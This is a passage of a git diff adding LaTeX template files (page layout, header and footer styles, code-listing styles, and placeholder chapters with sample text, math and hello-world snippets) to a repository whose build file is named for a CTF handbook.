% {\input{base/headerfooter/oneside}}
|
||||
|
||||
\pagestyle{fancy}
|
||||
|
||||
\fancyhf{}
|
||||
|
||||
% E for even page
|
||||
% O for odd page
|
||||
% L for left side
|
||||
% C for centered
|
||||
% R for right side
|
||||
|
||||
% set header
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}}
|
||||
{
|
||||
\fancyhead[L]{\includegraphics[width=5mm]{\IMGHeader}}
|
||||
\fancyhead[R]{\DICTDocTitle}
|
||||
\fancyhead[C]{}
|
||||
}
|
||||
{
|
||||
\fancyhead[RE,LO]{\includegraphics[width=5mm]{\IMGHeader}}
|
||||
\fancyhead[LE,RO]{\DICTDocTitle}
|
||||
\fancyhead[CE,CO]{}
|
||||
}
|
||||
|
||||
% change header line color
|
||||
\patchcmd{\headrule}{\hrule}{\color{LightGray}\hrule}{}{}
|
||||
% show header line
|
||||
\renewcommand{\headrulewidth}{0.4pt} % set to 0pt if line shall be removed
|
||||
%--------------------------------------
|
||||
|
||||
|
||||
% set footer
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}}
|
||||
{
|
||||
\fancyfoot[R]{Page \thepage \hspace{1pt} of \pageref{LastPage}}
|
||||
\fancyfoot[L]{\DICTDocDate}
|
||||
\fancyfoot[C]{}
|
||||
}
|
||||
{
|
||||
\fancyfoot[RE,LO]{Page \thepage \hspace{1pt} of \pageref{LastPage}}
|
||||
\fancyfoot[LE,RO]{\DICTDocDate}
|
||||
\fancyfoot[CE,CO]{}
|
||||
}
|
||||
|
||||
% change footer line color
|
||||
\patchcmd{\footrule}{\hrule}{\color{LightGray}\hrule}{}{}
|
||||
% show footer line
|
||||
\renewcommand{\footrulewidth}{0.4pt}% default is 0pt
|
||||
%--------------------------------------
|
||||
|
||||
\fancypagestyle{plain}{%
|
||||
\fancyhf{}
|
||||
|
||||
% set header
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}}
|
||||
{
|
||||
\fancyhead[L]{\includegraphics[width=5mm]{\IMGHeader}}
|
||||
\fancyhead[R]{\DICTDocTitle}
|
||||
\fancyhead[C]{}
|
||||
}
|
||||
{
|
||||
\fancyhead[RE,LO]{\includegraphics[width=5mm]{\IMGHeader}}
|
||||
\fancyhead[LE,RO]{\DICTDocTitle}
|
||||
\fancyhead[CE,CO]{}
|
||||
}
|
||||
%--------------------------------------
|
||||
|
||||
|
||||
% set footer
|
||||
%--------------------------------------
|
||||
\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}}
|
||||
{
|
||||
\fancyfoot[R]{Page \thepage \hspace{1pt} of \pageref{LastPage}}
|
||||
\fancyfoot[L]{\DICTDocDate}
|
||||
\fancyfoot[C]{}
|
||||
}
|
||||
{
|
||||
\fancyfoot[RE,LO]{Page \thepage \hspace{1pt} of \pageref{LastPage}}
|
||||
\fancyfoot[LE,RO]{\DICTDocDate}
|
||||
\fancyfoot[CE,CO]{}
|
||||
}
|
||||
}
|
10
tex/base/index/index.tex
Normal file
10
tex/base/index/index.tex
Normal file
@ -0,0 +1,10 @@
|
||||
% use the below command to add index entries
|
||||
% \index{index name}
|
||||
|
||||
% add table of contents entry
|
||||
\addstarredchapter{\DICTIndex}
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTIndex}{\DICTIndex}
|
||||
|
||||
\printindex
|
11
tex/base/listoffigures/listoffigures.tex
Normal file
11
tex/base/listoffigures/listoffigures.tex
Normal file
@ -0,0 +1,11 @@
|
||||
\setcounter{tocdepth}{3}
|
||||
|
||||
% add table of contents entry
|
||||
\addstarredchapter{\DICTListOfFigures}
|
||||
|
||||
\renewcommand{\listfigurename}{\DICTListOfFigures}
|
||||
\renewcommand{\figurename}{\DICTFigureName}
|
||||
\listoffigures
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTListOfFigures}{\DICTListOfFigures}
|
11
tex/base/listoftables/listoftables.tex
Normal file
11
tex/base/listoftables/listoftables.tex
Normal file
@ -0,0 +1,11 @@
|
||||
\setcounter{tocdepth}{3}
|
||||
|
||||
% add table of contents entry
|
||||
\addstarredchapter{\DICTListOfTables}
|
||||
|
||||
\renewcommand{\listtablename}{\DICTListOfTables}
|
||||
\renewcommand{\tablename}{\DICTTableName}
|
||||
\listoftables
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTListOfTables}{\DICTListOfTables}
|
14
tex/base/lstlistoflistings/lstlistoflistings.tex
Normal file
14
tex/base/lstlistoflistings/lstlistoflistings.tex
Normal file
@ -0,0 +1,14 @@
|
||||
\setcounter{tocdepth}{3}
|
||||
|
||||
% change listings name below code
|
||||
\renewcommand{\lstlistingname}{\DICTListingName}
|
||||
|
||||
% add table of contents entry
|
||||
\addstarredchapter{\DICTListOfCodeSnippets}
|
||||
|
||||
% List of Listings -> List of Algorithms
|
||||
\renewcommand{\lstlistlistingname}{\DICTListOfCodeSnippets}
|
||||
\lstlistoflistings
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTListOfCodeSnippets}{\DICTListOfCodeSnippets}
|
10
tex/base/tableofcontents/tableofcontents.tex
Normal file
10
tex/base/tableofcontents/tableofcontents.tex
Normal file
@ -0,0 +1,10 @@
|
||||
% add table of contents entry
|
||||
\addstarredchapter{\DICTTableOfContents}
|
||||
|
||||
% Rename name of table of contents
|
||||
\renewcommand\contentsname{\DICTTableOfContents}
|
||||
|
||||
% update mark for use of \leftmark and \rightmark
|
||||
\markboth{\DICTTableOfContents}{\DICTTableOfContents}
|
||||
|
||||
\tableofcontents
|
37
tex/base/titlepage/titlepage.tex
Normal file
37
tex/base/titlepage/titlepage.tex
Normal file
@ -0,0 +1,37 @@
|
||||
\pagecolor{brandcolor}
|
||||
\color{white}
|
||||
\begin{titlepage}
|
||||
|
||||
% doc image
|
||||
% \begin{figure}[ht]
|
||||
% \centering
|
||||
% \includegraphics{\IMGTitlePage}
|
||||
% \end{figure}
|
||||
|
||||
\begin{center}
|
||||
{\Huge \DICTDocTitle}
|
||||
\end{center}
|
||||
|
||||
\vfill
|
||||
|
||||
% \begin{center}
|
||||
% {\Large by}
|
||||
% \end{center}
|
||||
|
||||
\begin{center}
|
||||
{\Large \DICTDocAuthor}
|
||||
\end{center}
|
||||
|
||||
\begin{center}
|
||||
{\Large \DICTDocEmail}
|
||||
\end{center}
|
||||
|
||||
\begin{center}
|
||||
{\Large \DICTDocDate}
|
||||
\end{center}
|
||||
|
||||
\vspace{5mm}
|
||||
|
||||
\end{titlepage}
|
||||
\pagecolor{white}
|
||||
\color{black}
|
BIN
tex/build/ctf_all_in_one.pdf
Normal file
BIN
tex/build/ctf_all_in_one.pdf
Normal file
Binary file not shown.
14
tex/config/colors.tex
Normal file
14
tex/config/colors.tex
Normal file
@ -0,0 +1,14 @@
|
||||
% Required packages:
|
||||
% \usepackage{xcolor}
|
||||
|
||||
\definecolor{brandcolor}{RGB}{0, 148, 134}
|
||||
|
||||
\definecolor{LightGray}{RGB}{235,235,235}
|
||||
|
||||
\definecolor{Gray}{RGB}{210,210,210}
|
||||
|
||||
\definecolor{Blue}{RGB}{48,129,238}
|
||||
|
||||
\definecolor{HyperlinkBlue}{RGB}{0,0,195}
|
||||
|
||||
\definecolor{VioletBlue}{RGB}{102,51,153}
|
33
tex/config/config.tex
Normal file
33
tex/config/config.tex
Normal file
@ -0,0 +1,33 @@
|
||||
% Define the used document language in ISO 639-1 code
|
||||
% see for more info https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
|
||||
%--------------------------------------
|
||||
\def\CONFIGLanguage{ZH}
|
||||
%--------------------------------------
|
||||
|
||||
\def\CONFIGEnableTitlePage{true} % true or false
|
||||
\def\CONFIGEnableDisclaimer{true} % true or false
|
||||
\def\CONFIGEnableCopyright{true} % true or false
|
||||
\def\CONFIGEnableTableOfContents{true} % true or false
|
||||
\def\CONFIGEnableListOfFigures{true} % true or false
|
||||
\def\CONFIGEnableListOfTables{true} % true or false
|
||||
\def\CONFIGEnableListOfSnippets{true} % true or false
|
||||
\def\CONFIGEnableListOfAbbreviations{true} % true or false
|
||||
\def\CONFIGEnableAppendix{true} % true or false
|
||||
\def\CONFIGEnableTableOfAppendix{true} % true or false
|
||||
\def\CONFIGEnableReferences{true} % true or false
|
||||
\def\CONFIGEnableIndex{true} % true or false
|
||||
|
||||
% check if document is oneside or twoside
|
||||
% The type is set in main.tex in \documentclass[...]{...} -> line 2
|
||||
%--------------------------------------
|
||||
\makeatletter
|
||||
\if@twoside
|
||||
\def\CONFIGOneTwoSided{twoside}
|
||||
\else
|
||||
\def\CONFIGOneTwoSided{oneside}
|
||||
\fi
|
||||
\makeatother
|
||||
%--------------------------------------
|
||||
|
||||
% Load basic packages for layout
|
||||
\input{config/layout}
|
7
tex/config/images.tex
Normal file
7
tex/config/images.tex
Normal file
@ -0,0 +1,7 @@
|
||||
\def\IMGTitlePage{images/favicon/favicon_white_padding_192.png}
|
||||
|
||||
\def\IMGHeader{images/favicon/favicon_32.png}
|
||||
\def\IMGHeaderColored{images/favicon/favicon_white_32.png}
|
||||
|
||||
\def\IMGExampleOne{images/content/ben-kolde-367194.jpg}
|
||||
\def\IMGExampleTwo{images/content/nate-grant-346782.jpg}
|
162
tex/config/layout.tex
Normal file
162
tex/config/layout.tex
Normal file
@ -0,0 +1,162 @@
|
||||
\usepackage{ifthen}
|
||||
|
||||
% page dimensions
|
||||
%--------------------------------------
|
||||
% see https://de.sharelatex.com/learn/Page_size_and_margins
|
||||
\ifthenelse{\equal{\CONFIGOneTwoSided}{oneside}}
|
||||
{
|
||||
\usepackage{geometry}\geometry{
|
||||
a4paper, % a4 size 210x297 mm
|
||||
left=35mm,
|
||||
right=20mm,
|
||||
top=35mm,
|
||||
bottom=25mm,
|
||||
footskip=10mm,
|
||||
headheight=20mm % required for header
|
||||
}
|
||||
}
|
||||
{
|
||||
\usepackage{geometry}\geometry{
|
||||
a4paper, % a4 size 210x297 mm
|
||||
twoside,
|
||||
left=35mm,
|
||||
right=20mm,
|
||||
top=35mm,
|
||||
bottom=25mm,
|
||||
footskip=10mm,
|
||||
headheight=20mm % required for header
|
||||
}
|
||||
}
|
||||
%--------------------------------------
|
||||
|
||||
% reduce chapter margin
|
||||
\renewcommand*{\chapterheadstartvskip}{\vspace*{0mm}}
|
||||
|
||||
% Multi line comments
|
||||
%--------------------------------------
|
||||
\usepackage{verbatim}
|
||||
%--------------------------------------
|
||||
|
||||
% font
|
||||
%--------------------------------------
|
||||
\usepackage{fontspec}
|
||||
\setmainfont[ExternalLocation=fonts/Roboto/,
|
||||
BoldFont = Roboto-Bold.ttf,
|
||||
ItalicFont = Roboto-Italic.ttf ,
|
||||
BoldItalicFont = Roboto-BoldItalic.ttf]{Roboto-Regular.ttf}
|
||||
% language Japanese
|
||||
%--------------------------------------
|
||||
\usepackage{xeCJK}
|
||||
\setCJKmainfont[ExternalLocation=fonts/NotoSansCJKSC/,
|
||||
BoldFont = NotoSansCJKsc-Bold.otf]{NotoSansCJKsc-Regular.otf}
|
||||
%--------------------------------------
|
||||
|
||||
% set line height/spacing
|
||||
\renewcommand{\baselinestretch}{1.5}
|
||||
|
||||
\ifthenelse{\equal{\CONFIGLanguage}{DE}}
|
||||
{
|
||||
% German hyphenation
|
||||
\usepackage[ngerman]{babel}
|
||||
\usepackage{csquotes}
|
||||
}{}
|
||||
%--------------------------------------
|
||||
|
||||
% Remove indentation
|
||||
%--------------------------------------
|
||||
\parindent0pt
|
||||
%-------------------------------------
|
||||
|
||||
% Landscape
|
||||
%--------------------------------------
|
||||
\usepackage{pdflscape}
|
||||
%--------------------------------------
|
||||
|
||||
% dictionary
|
||||
%--------------------------------------
|
||||
\input{dictionary/dictionary}
|
||||
%--------------------------------------
|
||||
|
||||
% colors
|
||||
%--------------------------------------
|
||||
\usepackage[table]{xcolor}
|
||||
\input{config/colors}
|
||||
%--------------------------------------
|
||||
|
||||
% images
|
||||
%--------------------------------------
|
||||
\usepackage{graphicx}
|
||||
% \input{config/images}
|
||||
%--------------------------------------
|
||||
|
||||
% Tables
|
||||
%--------------------------------------
|
||||
\usepackage{longtable}
|
||||
% alternate rowcolors for all long-tables
|
||||
\let\oldlongtable\longtable
|
||||
\let\endoldlongtable\endlongtable
|
||||
%--------------------------------------
|
||||
|
||||
% date
|
||||
%--------------------------------------
|
||||
\usepackage[yyyymmdd]{datetime}
|
||||
% format date
|
||||
\renewcommand{\dateseparator}{--}
|
||||
%--------------------------------------
|
||||
|
||||
% Header & footer
|
||||
%--------------------------------------
|
||||
\usepackage{fancyhdr}
|
||||
\usepackage{lastpage}
|
||||
\usepackage{etoolbox}
|
||||
%--------------------------------------
|
||||
|
||||
% Enable linking e.g. for table of contents
|
||||
%--------------------------------------
|
||||
\usepackage{hyperref}
|
||||
\urlstyle{rm}
|
||||
%--------------------------------------
|
||||
|
||||
% Listings - e.g. List of code snippets
|
||||
%--------------------------------------
|
||||
\usepackage{listings}
|
||||
% load style
|
||||
\input{config/lstdefinestyle}
|
||||
% init file variables
|
||||
%\input{config/snippets}
|
||||
%--------------------------------------
|
||||
|
||||
% Abbreviations
|
||||
%--------------------------------------
|
||||
\usepackage[printonlyused]{acronym}
|
||||
%--------------------------------------
|
||||
|
||||
% Bibliography/References
|
||||
%--------------------------------------
|
||||
\usepackage[
|
||||
backend=biber,
|
||||
style=numeric,
|
||||
sorting=ynt
|
||||
% citestyle=chicago-authordate
|
||||
]{biblatex}
|
||||
% define reference resource
|
||||
\addbibresource{base/bibliography/references.bib}
|
||||
%--------------------------------------
|
||||
|
||||
% Index
|
||||
%--------------------------------------
|
||||
\usepackage{imakeidx}
|
||||
|
||||
% uncomment to at numbering
|
||||
%\indexsetup{level=\chapter}
|
||||
|
||||
% Activate index commands
|
||||
\makeindex
|
||||
%--------------------------------------
|
||||
|
||||
% Appendix
|
||||
%--------------------------------------
|
||||
\usepackage{appendix}
|
||||
\usepackage[german]{minitoc}
|
||||
\usepackage{titletoc}
|
||||
%--------------------------------------
|
150
tex/config/lstdefinestyle.tex
Normal file
150
tex/config/lstdefinestyle.tex
Normal file
@ -0,0 +1,150 @@
|
||||
% Default code style
|
||||
\lstset{
|
||||
frame=single,
|
||||
captionpos=b,
|
||||
lineskip=0.5em,
|
||||
xleftmargin=\parindent,
|
||||
belowskip=0em
|
||||
}
|
||||
|
||||
\lstdefinestyle{customStyleBashDark}{
|
||||
language=Bash,
|
||||
numbers=left,%position of line numbers (left/right/none, i.e. no line numbers)
|
||||
basicstyle=\footnotesize\ttfamily\color[RGB]{255,255,255},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small)
|
||||
numberstyle=\color[RGB]{0,0,0},%style used for line-numbers
|
||||
backgroundcolor=\color[RGB]{33,36,33},%colour for the background. External color or xcolor package needed.
|
||||
commentstyle=\itshape\color[RGB]{153,153,153},%style of comments in source language.
|
||||
keywordstyle=\bfseries\color[RGB]{143,217,68},%style of keywords in source language (e.g. keywordstyle=\color{red})
|
||||
identifierstyle=\color[RGB]{101,197,222},
|
||||
stringstyle=\color[RGB]{236,118,0},%style of strings in source language
|
||||
belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption
|
||||
breaklines=true,%automatic line-breaking
|
||||
frame=single,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox)
|
||||
xleftmargin=\parindent,
|
||||
showstringspaces=false,
|
||||
captionpos=b,%position of caption (t/b)
|
||||
showspaces=false,%emphasize spaces in code (true/false)
|
||||
showtabs=false,%emphasize tabulators in code (true/false)
|
||||
tabsize=4,%default tabsize
|
||||
lineskip=0.5em,
|
||||
postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}}
|
||||
}
|
||||
|
||||
\lstdefinestyle{customStyleBashLight}{
|
||||
language=Bash,
|
||||
numbers=left,%position of line numbers (left/right/none, i.e. no line numbers)
|
||||
basicstyle=\footnotesize\ttfamily\color[RGB]{0,0,0},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small)
|
||||
numberstyle=\color[RGB]{0,0,0},%style used for line-numbers
|
||||
backgroundcolor=\color[RGB]{255,255,255},%colour for the background. External color or xcolor package needed.
|
||||
commentstyle=\itshape\color[RGB]{52,121,54},%style of comments in source language.
|
||||
keywordstyle=\bfseries\color[RGB]{138,18,130},%style of keywords in source language (e.g. keywordstyle=\color{red})
|
||||
identifierstyle=\color[RGB]{0,0,0},
|
||||
stringstyle=\color[RGB]{0,0,192},%style of strings in source language
|
||||
belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption
|
||||
breaklines=true,%automatic line-breaking
|
||||
frame=shadowbox,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox)
|
||||
rulesepcolor=\color{black},
|
||||
xleftmargin=\parindent,
|
||||
showstringspaces=false,
|
||||
captionpos=b,%position of caption (t/b)
|
||||
showspaces=false,%emphasize spaces in code (true/false)
|
||||
showtabs=false,%emphasize tabulators in code (true/false)
|
||||
tabsize=4,%default tabsize
|
||||
lineskip=0.5em,
|
||||
postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}}
|
||||
}
|
||||
|
||||
\lstdefinestyle{customStyleJavaDark}{
|
||||
language=Java,
|
||||
numbers=left,%position of line numbers (left/right/none, i.e. no line numbers)
|
||||
basicstyle=\footnotesize\ttfamily\color[RGB]{255,255,255},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small)
|
||||
numberstyle=\color[RGB]{0,0,0},%style used for line-numbers
|
||||
backgroundcolor=\color[RGB]{33,36,33},%colour for the background. External color or xcolor package needed.
|
||||
commentstyle=\itshape\color[RGB]{153,153,153},%style of comments in source language.
|
||||
keywordstyle=\bfseries\color[RGB]{143,217,68},%style of keywords in source language (e.g. keywordstyle=\color{red})
|
||||
identifierstyle=\color[RGB]{101,197,222},
|
||||
stringstyle=\color[RGB]{236,118,0},%style of strings in source language
|
||||
belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption
|
||||
breaklines=true,%automatic line-breaking
|
||||
frame=single,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox)
|
||||
xleftmargin=\parindent,
|
||||
showstringspaces=false,
|
||||
captionpos=b,%position of caption (t/b)
|
||||
showspaces=false,%emphasize spaces in code (true/false)
|
||||
showtabs=false,%emphasize tabulators in code (true/false)
|
||||
tabsize=4,%default tabsize
|
||||
lineskip=0.5em,
|
||||
postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}}
|
||||
}
|
||||
|
||||
\lstdefinestyle{customStyleJavaLight}{
|
||||
language=Java,
|
||||
numbers=left,%position of line numbers (left/right/none, i.e. no line numbers)
|
||||
basicstyle=\footnotesize\ttfamily\color[RGB]{0,0,0},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small)
|
||||
numberstyle=\color[RGB]{0,0,0},%style used for line-numbers
|
||||
backgroundcolor=\color[RGB]{255,255,255},%colour for the background. External color or xcolor package needed.
|
||||
commentstyle=\itshape\color[RGB]{52,121,54},%style of comments in source language.
|
||||
keywordstyle=\bfseries\color[RGB]{138,18,130},%style of keywords in source language (e.g. keywordstyle=\color{red})
|
||||
identifierstyle=\color[RGB]{0,0,0},
|
||||
stringstyle=\color[RGB]{0,0,192},%style of strings in source language
|
||||
belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption
|
||||
breaklines=true,%automatic line-breaking
|
||||
frame=shadowbox,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox)
|
||||
rulesepcolor=\color{black},
|
||||
xleftmargin=\parindent,
|
||||
showstringspaces=false,
|
||||
captionpos=b,%position of caption (t/b)
|
||||
showspaces=false,%emphasize spaces in code (true/false)
|
||||
showtabs=false,%emphasize tabulators in code (true/false)
|
||||
tabsize=4,%default tabsize
|
||||
lineskip=0.5em,
|
||||
postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}}
|
||||
}
|
||||
|
||||
\lstdefinestyle{customStyleHTMLDark}{
|
||||
language=HTML,
|
||||
numbers=left,%position of line numbers (left/right/none, i.e. no line numbers)
|
||||
basicstyle=\footnotesize\ttfamily\color[RGB]{255,255,255},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small)
|
||||
numberstyle=\color[RGB]{0,0,0},%style used for line-numbers
|
||||
backgroundcolor=\color[RGB]{33,36,33},%colour for the background. External color or xcolor package needed.
|
||||
commentstyle=\itshape\color[RGB]{153,153,153},%style of comments in source language.
|
||||
keywordstyle=\bfseries\color[RGB]{143,217,68},%style of keywords in source language (e.g. keywordstyle=\color{red})
|
||||
identifierstyle=\color[RGB]{101,197,222},
|
||||
stringstyle=\color[RGB]{236,118,0},%style of strings in source language
|
||||
belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption
|
||||
breaklines=true,%automatic line-breaking
|
||||
frame=single,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox)
|
||||
xleftmargin=\parindent,
|
||||
showstringspaces=false,
|
||||
captionpos=b,%position of caption (t/b)
|
||||
showspaces=false,%emphasize spaces in code (true/false)
|
||||
showtabs=false,%emphasize tabulators in code (true/false)
|
||||
tabsize=4,%default tabsize
|
||||
lineskip=0.5em,
|
||||
usekeywordsintag=false,
|
||||
postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}}
|
||||
}
|
||||
|
||||
\lstdefinestyle{customStyleHTMLLight}{
|
||||
language=HTML,
|
||||
numbers=left,%position of line numbers (left/right/none, i.e. no line numbers)
|
||||
basicstyle=\footnotesize\ttfamily\color[RGB]{0,0,0},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small)
|
||||
numberstyle=\color[RGB]{0,0,0},%style used for line-numbers
|
||||
backgroundcolor=\color[RGB]{255,255,255},%colour for the background. External color or xcolor package needed.
|
||||
commentstyle=\itshape\color[RGB]{52,121,54},%style of comments in source language.
|
||||
keywordstyle=\bfseries\color[RGB]{138,18,130},%style of keywords in source language (e.g. keywordstyle=\color{red})
|
||||
stringstyle=\color[RGB]{0,0,238},%style of strings in source language
|
||||
belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption
|
||||
breaklines=true,%automatic line-breaking
|
||||
frame=shadowbox,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox)
|
||||
rulesepcolor=\color{black},
|
||||
xleftmargin=\parindent,
|
||||
showstringspaces=false,
|
||||
captionpos=b,%position of caption (t/b)
|
||||
showspaces=false,%emphasize spaces in code (true/false)
|
||||
showtabs=false,%emphasize tabulators in code (true/false)
|
||||
tabsize=4,%default tabsize
|
||||
lineskip=0.5em,
|
||||
usekeywordsintag=false,
|
||||
postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}}
|
||||
}
|
21
tex/contents/EN/contents.tex
Normal file
21
tex/contents/EN/contents.tex
Normal file
@ -0,0 +1,21 @@
|
||||
\input{contents/EN/introduction/introduction}
|
||||
\newpage
|
||||
\input{contents/EN/snippets/snippets}
|
||||
\newpage
|
||||
\input{contents/EN/useofabbreviations/useofabbreviations}
|
||||
\newpage
|
||||
\input{contents/EN/useofbibliography/useofbibliography}
|
||||
\newpage
|
||||
\input{contents/EN/useofindex/useofindex}
|
||||
\newpage
|
||||
\input{contents/EN/tables/tables}
|
||||
\newpage
|
||||
\input{contents/EN/footnotes/footnotes}
|
||||
\newpage
|
||||
\input{contents/EN/japanese/japanese}
|
||||
\newpage
|
||||
\input{contents/EN/images/images}
|
||||
\newpage
|
||||
\input{contents/EN/landscape/landscape}
|
||||
\newpage
|
||||
\input{contents/EN/mathematics/mathematics}
|
9
tex/contents/EN/footnotes/footnotes.tex
Normal file
9
tex/contents/EN/footnotes/footnotes.tex
Normal file
@ -0,0 +1,9 @@
|
||||
\chapter{Footnotes}
|
||||
|
||||
one\footnote{\label{foot-1}Footnote 1.}
|
||||
two\footnote{\label{foot-2}Footnote 2.}
|
||||
three\footnote{\label{foot-3}Footnote 3.}
|
||||
four\textsuperscript{\ref{foot-2}}
|
||||
|
||||
\section{Example 1}
|
||||
test
|
18
tex/contents/EN/images/images.tex
Normal file
18
tex/contents/EN/images/images.tex
Normal file
@ -0,0 +1,18 @@
|
||||
\chapter{Use of Images}
|
||||
|
||||
% Required packages: "graphicx", "float"
|
||||
% See for more info: https://en.wikibooks.org/wiki/LaTeX/Importing_Graphics
|
||||
\section{Image Area}\index{Image Area}
|
||||
\subsection{Example Image 1}
|
||||
|
||||
\includegraphics[trim = 10mm 60mm 20mm 5mm, clip, height=\linewidth, angle=90]{\IMGExampleOne}
|
||||
\captionof{figure}{Example Image 1}
|
||||
|
||||
\subsection{Example Image 2}
|
||||
|
||||
\includegraphics[width=\linewidth]{\IMGExampleTwo}
|
||||
\captionof{figure}{Example Image 2}
|
||||
\label{figure:anime}
|
||||
|
||||
You can reference images, for instance, the image \ref{figure:anime} shows
|
||||
an image from \textit{unsplash}
|
37
tex/contents/EN/introduction/introduction.tex
Normal file
37
tex/contents/EN/introduction/introduction.tex
Normal file
@ -0,0 +1,37 @@
|
||||
\chapter{Introduction}
|
||||
|
||||
this is the first chapter
|
||||
|
||||
\section{section}
|
||||
|
||||
This is the first section.
|
||||
|
||||
\subsection{Subsection}
|
||||
|
||||
normal \emph{italic}, \textbf{bold} and \textbf{\emph{bold italic}}.
|
||||
|
||||
ä ö ü ß
|
||||
|
||||
% Required packages: "csquotes", (optional) "babel"
|
||||
|
||||
% bold
|
||||
{\textbf{Sample Text 0123}}
|
||||
\\ % italic
|
||||
{\textit{Sample Text 0123}}
|
||||
\\ % small caps
|
||||
{\textsc{Sample Text 0123}}
|
||||
\\ % sans serif
|
||||
{\textsf{Sample Text 0123}}
|
||||
\\ % tiny
|
||||
{\tiny{Sample Text 0123}}
|
||||
\\ % normalsize
|
||||
{\normalsize{Sample Text 0123}}
|
||||
\\ % huge
|
||||
{\huge{Sample Text 0123}}
|
||||
\\ % hiperlink
|
||||
{\color{HyperlinkBlue}\url{https://de.sharelatex.com/learn/}}
|
||||
\\
|
||||
\\
|
||||
A \rotatebox{90}{B} C
|
||||
\\
|
||||
These are special characters: äöüß
|
4
tex/contents/EN/japanese/japanese.tex
Normal file
4
tex/contents/EN/japanese/japanese.tex
Normal file
@ -0,0 +1,4 @@
|
||||
\chapter{Japanese - 日本語}
|
||||
|
||||
むかし、むかし、ある所におじいさんとおばあさんが住んでいました。おじいさんは山へしば刈りに、おばあさんは川へ洗濯に行きました。すると大きな桃が流れてきました。
|
||||
「なんと大きな桃じゃろう!家に持って帰ろう。」とおばあさんは背中に担いで帰って行きました。
|
6
tex/contents/EN/landscape/landscape.tex
Normal file
6
tex/contents/EN/landscape/landscape.tex
Normal file
@ -0,0 +1,6 @@
|
||||
% Requierd packages: "pdflscape" alternative: lscape
|
||||
\begin{landscape}
|
||||
\chapter{Landscape Area}\index{Landscape Area}
|
||||
\section{Example 1}
|
||||
This page is in Landscape mode
|
||||
\end{landscape}
|
30
tex/contents/EN/mathematics/mathematics.tex
Normal file
30
tex/contents/EN/mathematics/mathematics.tex
Normal file
@ -0,0 +1,30 @@
|
||||
\chapter{Mathematics Area}\index{Mathematics Area}
|
||||
\section{Example 1}
|
||||
|
||||
The well known Pythagorean theorem \(x^2 + y^2 = z^2\) was
|
||||
proved to be invalid for other exponents.
|
||||
Meaning the next equation has no integer solutions:
|
||||
|
||||
\[ x^n + y^n = z^n \]
|
||||
|
||||
An alternative:
|
||||
|
||||
\begin{center}
|
||||
\begin{math}
|
||||
7+12+x=10
|
||||
\end{math}
|
||||
\end{center}
|
||||
|
||||
In physics, the mass-energy equivalence is stated
|
||||
by the equation $E=mc^2$, discovered in 1905 by Albert Einstein.
|
||||
|
||||
The mass-energy equivalence is described by the famous equation
|
||||
|
||||
$$E=mc^2$$
|
||||
|
||||
discovered in 1905 by Albert Einstein.
|
||||
In natural units ($c$ = 1), the formula expresses the identity
|
||||
|
||||
\begin{equation}
|
||||
E=m
|
||||
\end{equation}
|
21
tex/contents/EN/snippets/bash.tex
Normal file
21
tex/contents/EN/snippets/bash.tex
Normal file
@ -0,0 +1,21 @@
|
||||
\section{Bash Light}
|
||||
|
||||
\begin{lstlisting}[language=bash, style=customStyleBashLight, caption=Snippet title]
|
||||
#!/bin/bash
|
||||
|
||||
STRING="HELLO WORLD!!!"
|
||||
echo $STRING
|
||||
\end{lstlisting}
|
||||
|
||||
\section{Bash Dark}
|
||||
|
||||
\begin{lstlisting}[language=bash, style=customStyleBashDark, caption=Snippet title]
|
||||
#!/bin/bash
|
||||
|
||||
STRING="HELLO WORLD!!!"
|
||||
echo $STRING
|
||||
\end{lstlisting}
|
||||
|
||||
\section{Bash Import}
|
||||
|
||||
\lstinputlisting[language=bash, style=customStyleBashDark, caption=Snippet title]{\SNIPPETBash}
|
51
tex/contents/EN/snippets/html.tex
Normal file
51
tex/contents/EN/snippets/html.tex
Normal file
@ -0,0 +1,51 @@
|
||||
\section{HTML Light}
|
||||
|
||||
\begin{lstlisting}[language=bash, style=customStyleHTMLLight, caption=Snippet title]
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
|
||||
<title>GGHTMLCodeExample</title>
|
||||
<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon">
|
||||
<script>
|
||||
var variable = 4;
|
||||
if(variable != null && variable == 4) {
|
||||
